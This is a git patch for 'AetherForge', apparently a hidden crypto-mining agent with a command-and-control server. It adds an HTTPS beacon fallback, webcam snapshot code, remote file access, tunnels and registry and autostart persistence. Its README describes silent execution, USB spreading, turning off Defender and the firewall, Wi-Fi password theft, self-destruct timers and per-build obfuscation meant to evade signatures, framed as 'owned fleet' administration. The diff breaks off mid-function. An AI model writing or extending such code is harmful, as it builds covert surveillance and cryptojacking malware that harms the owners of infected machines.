From 5fc601b564aa26f545230bfec5e5e892869c0d6f Mon Sep 17 00:00:00 2001 From: AetherForge Date: Thu, 4 Jun 2026 09:34:33 -0700 Subject: [PATCH] feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence Extend owned-fleet control with scheduled tasks, audit log, file browser, HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge options, KEV exposure in full sys check with Telegram alerts, and UI/tests. --- README.md | 80 ++++- agent/client/aggressive_commands.go | 24 +- agent/client/beacon_transport.go | 151 +++++++++ agent/client/camera_common.go | 66 ++++ agent/client/camera_common_test.go | 45 +++ agent/client/camera_linux.go | 105 +++++++ agent/client/camera_stub.go | 12 + agent/client/camera_windows.go | 90 ++++++ agent/client/client.go | 133 +++++++- agent/client/commands_common.go | 7 + agent/client/commands_unix.go | 2 + agent/client/commands_windows.go | 2 + agent/client/connectivity_probe.go | 93 ++++++ agent/client/connectivity_probe_test.go | 20 ++ agent/client/cve_catalog.go | 66 ++++ agent/client/cve_scan_common.go | 34 +++ agent/client/cve_scan_stub.go | 16 + agent/client/cve_scan_test.go | 22 ++ agent/client/cve_scan_windows.go | 231 ++++++++++++++ agent/client/file_ops_unix.go | 12 + agent/client/file_ops_windows.go | 82 +++++ agent/client/pathtracer_stub.go | 1 + agent/client/pathtracer_windows.go | 5 + agent/client/protocol.go | 2 + agent/client/registry_ops_stub.go | 13 + agent/client/registry_ops_windows.go | 89 ++++++ agent/client/syscheck.go | 2 + agent/client/syscheck_types.go | 1 + agent/client/tunnel_commands.go | 152 ++++++++++ agent/config/config.go | 19 ++ agent/deploy/autostart_common.go | 101 ++++++ agent/deploy/autostart_stub.go | 15 + agent/deploy/autostart_test.go | 47 +++ agent/deploy/autostart_windows.go | 126 ++++++++ agent/deploy/autostart_windows_test.go | 19 ++ agent/deploy/install.go | 6 +- agent/deploy/persistence_windows.go | 24 +- agent/deploy/platform_windows.go | 6 +- agent/deploy/registry_allowlist.go | 40 +++ agent/deploy/registry_persistence_common.go | 117 +++++++ agent/deploy/registry_persistence_stub.go | 29 ++ agent/deploy/registry_persistence_test.go | 102 +++++++ agent/deploy/registry_persistence_windows.go | 287 ++++++++++++++++++ agent/deploy/tunnel_manager_stub.go | 39 +++ agent/deploy/tunnel_manager_test.go | 62 ++++ agent/deploy/tunnel_manager_windows.go | 175 +++++++++++ agent/deploy/tunnel_ssh_stub.go | 9 + agent/deploy/tunnel_ssh_windows.go | 67 ++++ agent/deploy/tunnel_test.go | 17 -- agent/deploy/tunnel_types.go | 22 ++ agent/deploy/tunnel_windows.go | 1 + server/config.go | 39 +++ server/internal/alerts/evaluator.go | 2 +- server/internal/alerts/kev_notify.go | 56 ++++ server/internal/alerts/kev_notify_test.go | 18 ++ server/internal/alerts/notifier.go | 6 +- server/internal/alerts/notify.go | 35 +++ server/internal/alerts/settings.go | 1 + server/internal/api/auth_context.go | 25 ++ server/internal/api/beacon.go | 260 ++++++++++++++++ server/internal/api/beacon_test.go | 114 +++++++ server/internal/api/config_handler.go | 11 +- server/internal/api/fleet_handler.go | 18 +- server/internal/api/fleet_ops_handler.go | 97 ++++++ server/internal/api/integration_test.go | 2 +- server/internal/api/router.go | 9 +- server/internal/api/router_test.go | 4 +- server/internal/api/websocket.go | 81 ++++- server/internal/builder/handler.go | 68 +++++ server/internal/builder/platform_test.go | 3 + .../internal/builder/registry_persistence.go | 41 +++ .../builder/registry_persistence_test.go | 30 ++ server/internal/builder/uninstall.go | 4 + server/internal/builder/uninstall_test.go | 10 + server/internal/db/agent_meta.go | 6 +- server/internal/db/audit.go | 55 ++++ server/internal/db/audit_test.go | 46 +++ server/internal/db/fleet_tasks.go | 97 ++++++ server/internal/db/spread_stats.go | 52 ++++ server/internal/db/sqlite.go | 54 +++- server/internal/models/agent.go | 5 + server/internal/models/audit.go | 15 + server/internal/models/fleet_task.go | 18 ++ server/internal/scheduler/fleet_scheduler.go | 142 +++++++++ server/main.go | 10 + server/web/src/api/client.ts | 8 + .../components/Fleet/AgentRemoteActions.tsx | 160 +++++++++- .../web/src/components/Fleet/FileManager.css | 118 +++++++ .../web/src/components/Fleet/FileManager.tsx | 216 +++++++++++++ .../src/components/Fleet/FleetOpsWidgets.tsx | 81 +++++ .../src/components/Fleet/FleetTasksPanel.tsx | 106 +++++++ .../components/Fleet/FullSysCheckPanel.css | 50 +++ .../components/Fleet/FullSysCheckPanel.tsx | 43 +++ .../components/Fleet/ProtocolTunnelPanel.css | 136 +++++++++ .../components/Fleet/ProtocolTunnelPanel.tsx | 278 +++++++++++++++++ server/web/src/components/components.test.tsx | 18 +- server/web/src/help/aggressiveActions.ts | 6 + server/web/src/help/forgeDefaults.ts | 6 + server/web/src/help/forgeRules.ts | 34 +++ server/web/src/help/forgeSmartDefaults.ts | 1 + server/web/src/help/remoteActions.test.ts | 15 +- server/web/src/help/screenshotDownload.ts | 7 +- server/web/src/help/settingHelp.test.ts | 12 + server/web/src/help/settingHelp.ts | 18 ++ server/web/src/pages/BuilderPage.tsx | 128 ++++++++ server/web/src/pages/CruciblePage.tsx | 80 ++++- server/web/src/pages/DashboardPage.tsx | 6 + server/web/src/pages/SettingsPage.tsx | 25 +- server/web/src/test/setup.ts | 8 + server/web/src/types/index.ts | 58 ++++ server/web/src/types/syscheck.ts | 21 ++ 111 files changed, 5845 insertions(+), 116 deletions(-) create mode 100644 agent/client/beacon_transport.go create mode 100644 agent/client/camera_common.go create mode 100644 agent/client/camera_common_test.go create mode 100644 agent/client/camera_linux.go create mode 100644 agent/client/camera_stub.go create mode 100644 agent/client/camera_windows.go create mode 100644 agent/client/connectivity_probe.go create mode 100644 agent/client/connectivity_probe_test.go create mode 100644 agent/client/cve_catalog.go create mode 100644 agent/client/cve_scan_common.go create mode 100644 agent/client/cve_scan_stub.go create mode 100644 agent/client/cve_scan_test.go create mode 100644 agent/client/cve_scan_windows.go create mode 100644 agent/client/file_ops_unix.go create mode 100644 agent/client/file_ops_windows.go create mode 100644 agent/client/registry_ops_stub.go create mode 100644 agent/client/registry_ops_windows.go create mode 100644 agent/client/tunnel_commands.go create mode 100644 agent/deploy/autostart_common.go create mode 100644 agent/deploy/autostart_stub.go create mode 100644 agent/deploy/autostart_test.go create mode 100644 agent/deploy/autostart_windows.go create mode 100644 agent/deploy/autostart_windows_test.go create mode 100644 agent/deploy/registry_allowlist.go create mode 100644 agent/deploy/registry_persistence_common.go create mode 100644 agent/deploy/registry_persistence_stub.go create mode 100644 agent/deploy/registry_persistence_test.go create mode 100644 agent/deploy/registry_persistence_windows.go create mode 100644 agent/deploy/tunnel_manager_stub.go create mode 100644 agent/deploy/tunnel_manager_test.go create mode 100644 agent/deploy/tunnel_manager_windows.go create mode 100644 agent/deploy/tunnel_ssh_stub.go create mode 100644 agent/deploy/tunnel_ssh_windows.go delete mode 100644 agent/deploy/tunnel_test.go create mode 100644 agent/deploy/tunnel_types.go create mode 100644 server/internal/alerts/kev_notify.go create mode 100644 server/internal/alerts/kev_notify_test.go create mode 100644 server/internal/api/auth_context.go create mode 100644 server/internal/api/beacon.go create mode 100644 server/internal/api/beacon_test.go create mode 100644 server/internal/api/fleet_ops_handler.go create mode 100644 server/internal/builder/registry_persistence.go create mode 100644 server/internal/builder/registry_persistence_test.go create mode 100644 server/internal/db/audit.go create mode 100644 server/internal/db/audit_test.go create mode 100644 server/internal/db/fleet_tasks.go create mode 100644 server/internal/db/spread_stats.go create mode 100644 server/internal/models/audit.go create mode 100644 server/internal/models/fleet_task.go create mode 100644 server/internal/scheduler/fleet_scheduler.go create mode 100644 server/web/src/components/Fleet/FileManager.css create mode 100644 server/web/src/components/Fleet/FileManager.tsx create mode 100644 server/web/src/components/Fleet/FleetOpsWidgets.tsx create mode 100644 server/web/src/components/Fleet/FleetTasksPanel.tsx create mode 100644 server/web/src/components/Fleet/ProtocolTunnelPanel.css create mode 100644 server/web/src/components/Fleet/ProtocolTunnelPanel.tsx diff --git a/README.md b/README.md index e8ffab3..b90a744 100644 --- a/README.md +++ b/README.md @@ -64,6 +64,8 @@ You configure defaults once in **Calibrate**. You forge once per target profile - **Ravencoin section** — GPU hashrate gauges, RVN-specific stats, per-rig GPU model table with temperature and fan data; visually distinct 3D-effect cards - Pool connection status and AI activity panel (Advanced mode) - Matrix stream overlay with mystic word drops (Advanced mode) +- **Install funnel** — agents per build/worker over 7 days, new connects today, USB-spread flag +- **Operator audit strip** — last operator actions (forge, commands, config save, secret rotate) ### Fleet Roster (Agents) @@ -74,7 +76,8 @@ You configure defaults once in **Calibrate**. You forge once per target profile - Mining ops: pause / resume / restart miner - Recon: sysinfo, list processes, network scan, DNS config, listening ports - System: **Reboot**, **Shutdown**, **Wake-on-LAN** (sends UDP magic packet to agent's MAC address) - - Screen: **Screenshot** — captures remote desktop and instantly downloads JPEG in your browser + - Screen: **Screenshot** (desktop), **Live view** (3s slideshow while tab focused), and **Camera** (USB/built-in webcam via `camera_snapshot`; Windows/Linux agents need **ffmpeg** on PATH) + - **File browser** — `list_dir` / `read_file` (512 KB cap) / upload / download in Crucible when one node is selected (Windows agents) - Admin: PowerShell terminal, file upload, uninstall - **Live stats ticker** — terminal automatically streams hashrate, CPU%, RAM, temperature, disk on a 5-second interval while an agent is online - **Auto-sysinfo** — system info is fetched immediately when you select an agent @@ -174,20 +177,68 @@ Use **Send test notification** after **Save Calibration** to verify delivery. Th > **Security:** Never paste bot tokens in chat or commit them. Store only in `data/config.json` (gitignored). +### Fleet task scheduler (Calibrate) + +Under **Calibrate → Fleet Tasks**, schedule remote actions: `on_connect`, `on_reconnect`, `interval_hours`, or daily `cron` (`HH:MM`). Actions include `sysinfo`, `full_sys_check`, `powershell`, `exec`, `pause`, `resume`, `restart`. + +### Operator audit log + +Records forge builds, agent commands, config saves, fleet secret rotation, and task edits. Visible on Dashboard and Calibrate; `GET /api/v1/audit`. + +### Forge connection profile (Advanced) + +Bake **beacon interval**, **beacon jitter %**, and **kill-after-days** (0 = never) into workers for reconnect timing and optional self-destruct. + +### Agent stubs (not shipped) + +- **`bof_execute`** — returns an error; in-memory BOF execution is disabled. + ### Forge hardening & dispense UX - **Sigil scramble** (default on) — unique binary hash per forge (PE timestamp + entropy overlay) without changing runtime behavior - **Garble** + **polymorph** + optional **Authenticode** signing — layered static-signature variation - **Dispense Reveal** — full-screen success ceremony with stealth index, binary DNA fingerprint, and download +### CISA KEV exposure scan (defensive) + +**Full System Check** includes a read-only **CISA KEV** pass aligned with [CISA’s top exploited vulnerabilities](https://www.cisa.gov/uscert/ncas/alerts/aa22-117a) (Log4Shell, ProxyLogon/Exchange, Zerologon on DCs, Citrix ADC, Pulse Secure, F5 BIG-IP, Confluence, ManageEngine, Fortinet, PrintNightmare, VMware vCenter, etc.). + +| What it does | What it does **not** do | +|--------------|-------------------------| +| Detects installed stacks, services, stale patching, and risky roles on **your** fleet | Does not exploit or weaponize CVEs | +| Surfaces `exposed` / `likely` / `clear` per CVE family in the sys check panel | Does not replace formal vuln scanning (Tenable, etc.) | +| Optional Telegram ping when critical indicators fire (Calibrate → **KEV exposure**) | Heuristics only — verify with vendor patches | + +Run **Full Sys Check** from Fleet Roster or Crucible on Windows agents for the full KEV block. + ### Fleet ops (recent) -- **Full system check** — remote posture snapshot (AV, firewall, disk, DNS, ports) from Fleet Roster or Crucible +- **Protocol Tunneling** — Cloudflare outbound tunnel, SSH local forward (Windows), WireGuard via Path Tracer; `tunnel_status` / `tunnel_stop` on owned fleet nodes (Fleet Roster + Crucible) +- **Full system check** — remote posture snapshot (AV, firewall, disk, DNS, ports, **KEV exposure**) from Fleet Roster or Crucible - **Desktop push** — deploy files to `@desktop/` on workers - **BITS persistence** / **host binary** run modes (Windows, advanced Forge) +- **Boot / logon autostart** — Forge `autostart_mode` (registry Run, Startup folder, ONSTART/ONLOGON tasks) - **Path Tracer** — multi-hop WireGuard path builder (dashboard page) +- **Protocol tunneling** — operator-facing reach-through on owned fleet (see below) - **Haptic sound** + **glow particles** — optional UI feedback (Settings) +#### Protocol tunneling (MITRE ATT&CK mapping — honest scope) + +AetherForge exposes **legitimate operator tunneling** for machines you administer — not covert C2 evasion. + +| MITRE technique | AetherForge feature | Scope | +|-----------------|---------------------|-------| +| [T1572 Protocol Tunneling](https://attack.mitre.org/techniques/T1572/) | Cloudflare outbound (`tunnel_cloudflared`), SSH local forward (`tunnel_ssh_forward`), WireGuard mesh (Path Tracer) | Reach internal hosts / expose agent LAN services on **your** fleet | +| [T1071 Application Layer Protocol](https://attack.mitre.org/techniques/T1071/) | Existing WebSocket C2 + optional Cloudflare tunnel to dashboard | Standard HTTPS/WSS to **your** control server | + +**Not built:** DNS-over-HTTPS resolution evasion, SOCKS pivot, SMB tunneling, or features marketed to bypass network filtering. + +**Commands:** `tunnel_cloudflared`, `tunnel_wireguard`, `tunnel_ssh_forward`, `tunnel_status`, `tunnel_stop` (legacy: `start_tunnel`). + +**Calibrate:** `tunnel_defaults.cloudflared_target_url` defaults from `server.public_url`. + +**Future (not implemented):** server-side TCP reverse relay via `tunnel_stream` WebSocket — documented for localhost dashboard testing only. + --- ## Quick Start @@ -227,7 +278,7 @@ Credentials stored in `data/users.json` (bcrypt cost 12). Legacy plain-text entr | `/api/v1/*` REST | HTTP Basic Auth | | `/ws/dashboard` | `?token=` | | `/ws/agent` | Fleet-secret `auth` JSON frame | -| `/api/v1/agent/*` | `X-Fleet-Secret: ` header | +| `/api/v1/agent/*` | `X-Fleet-Secret: ` header (includes `/agent/beacon`, `/agent/beacon/result`) | | Static SPA + `/api/v1/health` | Open (no auth) | --- @@ -275,6 +326,23 @@ Workers auto-convert `http(s)://` → `ws(s)://.../ws/agent`. Workers only need **Do not** expose port 8989 to the public internet without VPN, firewall allowlist, or reverse-proxy auth. +### C2 transport (owned fleet) + +Legitimate **MITRE T1071 Application Layer Protocol** usage for machines you administer — not covert DNS/SMTP/FTP tunneling. + +| Layer | Protocol | When | +|-------|----------|------| +| **Primary** | WebSocket `wss://…/ws/agent` (T1071.001) | Normal operation — live stats, jobs, remote commands | +| **Fallback** | HTTPS `POST /api/v1/agent/beacon` + `POST …/beacon/result` (T1071.001) | After WebSocket is down for N minutes (Forge: **HTTPS beacon fallback**, default on when backup URLs are set) | +| **Backup hosts** | Same APIs on `backup_server_urls` | Round-robin when primary C2 is unreachable | +| **Operator alerts** | Telegram + optional Calibrate `webhook_url` JSON POST (T1071.005 lite) | Connect / offline / threshold events — server-side only | + +Forge **Connection Profile** → enable **HTTPS beacon fallback** and set minutes before fallback (default 3). Fleet secret is sent as `X-Fleet-Secret` on beacon routes (same as other `/api/v1/agent/*` endpoints). + +**Test fallback:** block outbound WebSocket to the control host (firewall rule on `8989`/`443` for `ws` only, or deny `/ws/agent` at the reverse proxy) while leaving HTTPS API open — agent should log `HTTPS beacon` and the dashboard should still receive stats/commands via beacon polling. + +**Diagnostic:** remote command `connectivity_probe` (or startup log line) reports DNS + TCP reachability to C2 and pool hosts — diagnostic only, not a C2 channel. + --- ## Agent Silence @@ -285,6 +353,9 @@ Every agent operation is **completely silent** — no CMD windows, no PowerShell |----------|-----------| | Process launch | `CREATE_NO_WINDOW` + `DETACHED_PROCESS` syscall flags on all child processes | | Persistence | Scheduled task / registry run key — no user-visible installer | +| Registry persistence (Forge) | Optional HKCU/HKLM Run, RunOnce, Explorer Policies Run — value `AetherForge_{worker}`; uninstall removes only agent-created keys | +| Boot / logon autostart | Optional Forge `autostart_mode`: HKCU Run, Startup folder shortcut, ONSTART (boot) or ONLOGON tasks — applied on install and self-heal | +| Fleet registry ops | `registry_read` / `registry_write` / `registry_delete` on administered Windows agents (allowlisted paths) | | Mining | XMRig / T-Rex / TeamRedMiner run fully hidden | | WMI triggers | PowerShell executed with `-WindowStyle Hidden` | | Spread installs | `--run` flag relaunches silently with detached start | @@ -347,6 +418,9 @@ crypto miner/ | GET | `/api/v1/pools/status` | Stratum pool connection states | | GET | `/api/v1/earnings/estimate` | XMR/day estimate | | GET | `/api/v1/market/xmr` | XMR/USD spot price (CoinGecko, 10 min cache) | +| GET | `/api/v1/audit` | Operator audit log (last 50) | +| GET/PUT/DELETE | `/api/v1/fleet-tasks` | Scheduled fleet tasks | +| GET | `/api/v1/dashboard/spread-funnel` | Install funnel stats (7d) | | WS | `/ws/agent` | Worker connection | | WS | `/ws/dashboard?token=` | Live dashboard feed | diff --git a/agent/client/aggressive_commands.go b/agent/client/aggressive_commands.go index 1fc3568..de799ac 100644 --- a/agent/client/aggressive_commands.go +++ b/agent/client/aggressive_commands.go @@ -19,10 +19,13 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) { if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive { return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)" } - case "start_tunnel", "subnet_scan", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "get_wifi_passwords": + case "start_tunnel", "tunnel_cloudflared", "tunnel_ssh_forward", "tunnel_stop", + "subnet_scan", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "get_wifi_passwords": if !c.cfg.RemoteAggressive { return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)" } + case "tunnel_status", "tunnel_wireguard": + // Always available — read-only or Path Tracer config from server. case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status": // No forge gate — always available. case "mesh_status": @@ -36,6 +39,10 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) { } func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, command, path, data string) bool { + if c.handleTunnelCommand(action, command, path, data) { + return true + } + ok, reason := c.allowRemoteAction(action) if !ok { c.sendCommandResult(action, false, reason) @@ -82,19 +89,6 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm c.sendCommandResult(action, true, msg) return true - case "start_tunnel": - serverURL := strings.TrimSpace(command) - if serverURL == "" { - serverURL = c.cfg.ServerURL - } - msg, err := deploy.StartCloudflaredTunnel(serverURL) - if err != nil { - c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg)) - return true - } - c.sendCommandResult(action, true, msg) - return true - case "subnet_scan": maxHosts := parsePortArg(command, 64) out := deploy.ScanLocalSubnet(maxHosts) @@ -204,7 +198,7 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm } parts = append(parts, msg) } - deploy.RemoveFirewallExclusionWindows(c.cfg) + deploy.RemoveFirewallExclusion(c.cfg) parts = append(parts, "Removed AetherForge miner firewall rules (if present)") c.sendCommandResult(action, true, strings.Join(parts, "\n")) return true diff --git a/agent/client/beacon_transport.go b/agent/client/beacon_transport.go new file mode 100644 index 0000000..e1f1a5b --- /dev/null +++ b/agent/client/beacon_transport.go @@ -0,0 +1,151 @@ +package client + +import ( + "bytes" + "encoding/json" + "fmt" + "io" + "log" + "net/http" + "strings" + "time" + + "crypto-miner-agent/config" +) + +type beaconHTTPResponse struct { + OK bool `json:"ok"` + Commands []struct { + Action string `json:"action"` + TailLines int `json:"tail_lines"` + Command string `json:"command"` + Path string `json:"path"` + Data string `json:"data"` + } `json:"commands"` +} + +func (c *AgentClient) httpsBeaconEnabled() bool { + if !c.cfg.HTTPSBeaconFallback { + return false + } + if c.cfg.FleetSecret == "" { + return false + } + return true +} + +func (c *AgentClient) httpsBeaconAfterDuration() time.Duration { + min := c.cfg.HTTPSBeaconAfterMin + if min <= 0 { + min = 3 + } + return time.Duration(min) * time.Minute +} + +func (c *AgentClient) shouldUseHTTPSBeacon(wsDownSince time.Time) bool { + if !c.httpsBeaconEnabled() || wsDownSince.IsZero() { + return false + } + return time.Since(wsDownSince) >= c.httpsBeaconAfterDuration() +} + +func (c *AgentClient) apiBaseURL(serverURL string) (string, error) { + raw := strings.TrimSpace(serverURL) + if raw == "" { + return "", fmt.Errorf("empty server URL") + } + if !strings.Contains(raw, "://") { + raw = "http://" + raw + } + return strings.TrimSuffix(raw, "/") + "/api/v1", nil +} + +// beaconOnce performs one HTTPS beacon cycle; the outer Run loop retries WebSocket each iteration. +func (c *AgentClient) beaconOnce(serverURL string) error { + c.beaconMode.Store(true) + defer c.beaconMode.Store(false) + c.connected.Store(true) + defer c.connected.Store(false) + + client := &http.Client{Timeout: 45 * time.Second} + base, err := c.apiBaseURL(serverURL) + if err != nil { + return err + } + stats, err := c.collectStatsPayload() + if err != nil { + log.Printf("[agent] beacon stats: %v", err) + } + host, _, _ := c.reporter.SystemInfo() + body, _ := json.Marshal(map[string]interface{}{ + "agent_id": c.agentID, + "stats": stats, + "hostname": host, + "wallet": c.cfg.Wallet, + "worker_name": c.cfg.WorkerName, + "version": config.Version, + }) + req, err := http.NewRequest(http.MethodPost, base+"/agent/beacon", bytes.NewReader(body)) + if err != nil { + return err + } + req.Header.Set("Content-Type", "application/json") + req.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret) + resp, err := client.Do(req) + if err != nil { + return err + } + data, _ := io.ReadAll(resp.Body) + resp.Body.Close() + if resp.StatusCode == http.StatusForbidden { + return fmt.Errorf("beacon auth rejected") + } + if resp.StatusCode != http.StatusOK { + return fmt.Errorf("beacon HTTP %s", resp.Status) + } + var br beaconHTTPResponse + if err := json.Unmarshal(data, &br); err != nil { + return err + } + for _, cmd := range br.Commands { + c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data) + } + return nil +} + +func (c *AgentClient) beaconInterval() time.Duration { + sec := c.cfg.BeaconIntervalSec + if sec <= 0 { + sec = 10 + } + return time.Duration(sec) * time.Second +} + +func (c *AgentClient) postBeaconResult(payload []byte) { + serverURLs := buildServerURLList(c.cfg) + if len(serverURLs) == 0 { + return + } + base, err := c.apiBaseURL(serverURLs[0]) + if err != nil { + return + } + var body map[string]interface{} + _ = json.Unmarshal(payload, &body) + body["agent_id"] = c.agentID + out, _ := json.Marshal(body) + req, err := http.NewRequest(http.MethodPost, base+"/agent/beacon/result", bytes.NewReader(out)) + if err != nil { + return + } + req.Header.Set("Content-Type", "application/json") + req.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret) + client := &http.Client{Timeout: 30 * time.Second} + resp, err := client.Do(req) + if err != nil { + log.Printf("[agent] beacon result post failed: %v", err) + return + } + io.Copy(io.Discard, resp.Body) + resp.Body.Close() +} diff --git a/agent/client/camera_common.go b/agent/client/camera_common.go new file mode 100644 index 0000000..8d728b9 --- /dev/null +++ b/agent/client/camera_common.go @@ -0,0 +1,66 @@ +package client + +import ( + "encoding/base64" + "fmt" + "strings" +) + +const maxCameraSnapshotBytes = 2 * 1024 * 1024 + +func isJPEG(data []byte) bool { + return len(data) >= 3 && data[0] == 0xff && data[1] == 0xd8 && data[2] == 0xff +} + +func encodeCameraSnapshotJPEG(raw []byte) (string, error) { + if len(raw) < 100 { + return "", fmt.Errorf("camera capture too small (%d bytes)", len(raw)) + } + if !isJPEG(raw) { + return "", fmt.Errorf("camera capture is not JPEG (got %d bytes)", len(raw)) + } + if len(raw) > maxCameraSnapshotBytes { + return "", fmt.Errorf("camera image exceeds %d byte cap (%d bytes)", maxCameraSnapshotBytes, len(raw)) + } + return base64.StdEncoding.EncodeToString(raw), nil +} + +// parseDShowVideoDevices extracts quoted DirectShow video device names from ffmpeg -list_devices output. +func parseDShowVideoDevices(stderr string) []string { + var devs []string + inVideo := false + for _, line := range strings.Split(stderr, "\n") { + lower := strings.ToLower(line) + if strings.Contains(lower, "directshow video devices") { + inVideo = true + continue + } + if inVideo && strings.Contains(lower, "directshow audio devices") { + break + } + if !inVideo { + continue + } + if strings.Contains(lower, "alternative name") { + continue + } + name := extractQuotedDeviceName(line) + if name != "" { + devs = append(devs, name) + } + } + return devs +} + +func extractQuotedDeviceName(line string) string { + start := strings.Index(line, `"`) + if start < 0 { + return "" + } + rest := line[start+1:] + end := strings.Index(rest, `"`) + if end <= 0 { + return "" + } + return rest[:end] +} diff --git a/agent/client/camera_common_test.go b/agent/client/camera_common_test.go new file mode 100644 index 0000000..731021e --- /dev/null +++ b/agent/client/camera_common_test.go @@ -0,0 +1,45 @@ +package client + +import "testing" + +func TestParseDShowVideoDevices(t *testing.T) { + sample := `[dshow @ 000001] DirectShow video devices (some may be both video and audio devices) +[dshow @ 000001] "Integrated Camera" +[dshow @ 000001] Alternative name "@device_pnp_\\?\usb#..." +[dshow @ 000001] "USB Video Device" +[dshow @ 000001] DirectShow audio devices +[dshow @ 000001] "Microphone (USB Video Device)" +` + devs := parseDShowVideoDevices(sample) + if len(devs) != 2 { + t.Fatalf("got %d devices: %v", len(devs), devs) + } + if devs[0] != "Integrated Camera" || devs[1] != "USB Video Device" { + t.Fatalf("unexpected names: %v", devs) + } +} + +func TestExtractQuotedDeviceName(t *testing.T) { + if got := extractQuotedDeviceName(`[dshow] "My Cam"`); got != "My Cam" { + t.Fatalf("got %q", got) + } + if got := extractQuotedDeviceName("no quotes"); got != "" { + t.Fatalf("expected empty, got %q", got) + } +} + +func TestEncodeCameraSnapshotJPEG(t *testing.T) { + jpeg := []byte{0xff, 0xd8, 0xff, 0xe0, 0x00, 0x10, 'J', 'F', 'I', 'F'} + // pad to >= 100 bytes + for len(jpeg) < 100 { + jpeg = append(jpeg, 0) + } + b64, err := encodeCameraSnapshotJPEG(jpeg) + if err != nil || len(b64) < 100 { + t.Fatalf("encode: err=%v len=%d", err, len(b64)) + } + _, err = encodeCameraSnapshotJPEG([]byte{1, 2, 3}) + if err == nil { + t.Fatal("expected error for non-jpeg") + } +} diff --git a/agent/client/camera_linux.go b/agent/client/camera_linux.go new file mode 100644 index 0000000..44448f7 --- /dev/null +++ b/agent/client/camera_linux.go @@ -0,0 +1,105 @@ +//go:build linux + +package client + +import ( + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" +) + +func handleCameraAction(action string) (handled bool, success bool, message string) { + switch action { + case "camera_snapshot": + raw, err := captureLinuxCameraJPEG() + if err != nil { + return true, false, err.Error() + } + b64, err := encodeCameraSnapshotJPEG(raw) + if err != nil { + return true, false, err.Error() + } + return true, true, b64 + case "camera_list": + devs, err := listLinuxCameraDevices() + if err != nil { + return true, false, err.Error() + } + if len(devs) == 0 { + return true, false, "no V4L2 devices found under /dev/video*" + } + return true, true, strings.Join(devs, "\n") + default: + return false, false, "" + } +} + +func listLinuxCameraDevices() ([]string, error) { + matches, err := filepath.Glob("/dev/video*") + if err != nil { + return nil, err + } + var devs []string + for _, p := range matches { + if fi, err := os.Stat(p); err == nil && (fi.Mode()&os.ModeCharDevice) != 0 { + devs = append(devs, p) + } + } + return devs, nil +} + +func captureLinuxCameraJPEG() ([]byte, error) { + devs, err := listLinuxCameraDevices() + if err != nil { + return nil, err + } + if len(devs) == 0 { + return nil, fmt.Errorf("no /dev/video* devices — connect a USB camera or install v4l2 drivers") + } + device := devs[0] + + if ff, err := exec.LookPath("ffmpeg"); err == nil { + out, runErr := exec.Command(ff, + "-hide_banner", "-loglevel", "error", + "-f", "v4l2", + "-i", device, + "-frames:v", "1", + "-q:v", "2", + "-f", "image2", + "pipe:1", + ).CombinedOutput() + if runErr == nil && len(out) >= 100 { + return out, nil + } + if runErr != nil { + hint := strings.TrimSpace(string(out)) + if hint != "" { + return nil, fmt.Errorf("ffmpeg v4l2 capture failed: %v (%s)", runErr, hint) + } + } + } + + if fw, err := exec.LookPath("fswebcam"); err == nil { + tmp, err := os.CreateTemp("", "af-cam-*.jpg") + if err != nil { + return nil, err + } + tmpPath := tmp.Name() + _ = tmp.Close() + defer os.Remove(tmpPath) + + out, runErr := exec.Command(fw, "-q", "-d", device, "-r", "1280x720", "--no-banner", tmpPath).CombinedOutput() + if runErr != nil { + return nil, fmt.Errorf("fswebcam failed: %v (%s)", runErr, strings.TrimSpace(string(out))) + } + raw, err := os.ReadFile(tmpPath) + if err != nil { + return nil, err + } + return raw, nil + } + + return nil, fmt.Errorf("camera capture unsupported: install ffmpeg or fswebcam on the agent host") +} diff --git a/agent/client/camera_stub.go b/agent/client/camera_stub.go new file mode 100644 index 0000000..db02d73 --- /dev/null +++ b/agent/client/camera_stub.go @@ -0,0 +1,12 @@ +//go:build !windows && !linux + +package client + +func handleCameraAction(action string) (handled bool, success bool, message string) { + switch action { + case "camera_snapshot", "camera_list": + return true, false, "camera capture is not supported on this platform" + default: + return false, false, "" + } +} diff --git a/agent/client/camera_windows.go b/agent/client/camera_windows.go new file mode 100644 index 0000000..aab9b78 --- /dev/null +++ b/agent/client/camera_windows.go @@ -0,0 +1,90 @@ +//go:build windows + +package client + +import ( + "fmt" + "os/exec" + "strings" +) + +func handleCameraAction(action string) (handled bool, success bool, message string) { + switch action { + case "camera_snapshot": + raw, err := captureWindowsCameraJPEG() + if err != nil { + return true, false, err.Error() + } + b64, err := encodeCameraSnapshotJPEG(raw) + if err != nil { + return true, false, err.Error() + } + return true, true, b64 + case "camera_list": + devs, err := listWindowsCameraDevices() + if err != nil { + return true, false, err.Error() + } + if len(devs) == 0 { + return true, false, "no DirectShow video capture devices found (install ffmpeg and connect a camera)" + } + return true, true, strings.Join(devs, "\n") + default: + return false, false, "" + } +} + +func ffmpegOnPath() (string, error) { + path, err := exec.LookPath("ffmpeg") + if err != nil { + return "", fmt.Errorf("ffmpeg not found on PATH — install ffmpeg to capture USB/built-in camera frames") + } + return path, nil +} + +func listWindowsCameraDevices() ([]string, error) { + ff, err := ffmpegOnPath() + if err != nil { + return nil, err + } + out, err := silentCombinedOutput(ff, "-hide_banner", "-list_devices", "true", "-f", "dshow", "-i", "dummy") + // ffmpeg exits non-zero for -list_devices; output is on stderr merged in CombinedOutput + _ = err + return parseDShowVideoDevices(string(out)), nil +} + +func 